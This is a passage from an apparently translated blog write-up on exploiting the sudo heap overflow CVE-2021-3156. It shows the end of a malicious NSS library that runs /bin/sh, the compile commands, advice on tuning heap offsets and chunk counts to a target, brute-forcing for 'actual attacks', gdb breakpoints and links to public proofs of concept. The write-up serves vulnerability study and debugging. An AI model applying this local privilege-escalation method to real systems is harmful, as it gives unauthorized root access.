execv("/bin/sh", a_argv);
#endif
}
Compilation command:```sh mkdir libnss_X gcc -fPIC -shared lib.c -o ./libnss_X/test.so.2 gcc exp.c -o exp
Success:
image-20220123115529219
### Method for modifying the exploit for a specific environment
Mainly for self-study and debugging convenience, rather than actual attacks. For actual attacks, brute-forcing is still recommended. You need to know the following points based on the environment:
1. The controllable vuln size, i.e., the free tcache left in setlocale, which will not be consumed before the vuln allocation. Need to find a suitable size (corresponding to 0xa0 in my exploit).
2. Where to place the vuln, i.e., how many 0x40 chunks before and after the vuln chunk (corresponding to the several addChunk functions in the main function of my exploit).
3. The distance from the target chunk to the vuln chunk, i.e., target chunk addr - vuln chunk addr (corresponding to 0x650 in my exploit).
Modifying the above three points will generally lead to success with high probability.
## Factors affecting exploit reliability
Many factors affect the heap layout. The same version of sudo with different compilation options results in different heap layouts (any increase or decrease in functions that participate in heap allocation before the overflow will very likely change the heap layout).
The heap layout of the distribution's sudo and a self-compiled sudo are different.
Different global sudo configuration files also affect it.
Common files such as passwd also affect it.
Different nsswitch.conf files affect it.
glibc version.
Other global environments (or environment files).
## Mitigation
Upgrade to the latest version.
## Some debugging commands```
watch rwatch awatch 内存断点
catch exec
set follow-exec-mode new 调试exp 的时候捕获子进程
View the service_table structure``` p service_table p * service_table p * service_table -> entry p * service_table -> entry -> next p * service_table -> entry -> next -> service ···
Check the earliest called nss function after heap overflow, first break at the overflow point:```
b policy_check #先断离溢出点比较近的位置,直接断溢出点找不到
c
b sudoers.c:849 #malloc前
b sudoers.c:859 #溢出chunk 刚申请完毕
b sudoers.c:867 #溢出完成
c #断住之后再断nss_load_library
b nss_load_library
c #断nss_load_library
bt #查看调用栈
Some key functions and code output``` directory /root/glibc-2.27/ directory /root/glibc-2.27/nss/ directory /root/glibc-2.27/elf/ directory /root/glibc-2.27/locale/
b setlocale b nss_parse_file b nss_load_library
## References
Blog of the big shot inside the company
52破解博客: https://www.52pojie.cn/thread-1439734-1-1.html
blasty's POC: https://github.com/blasty/CVE-2021-3156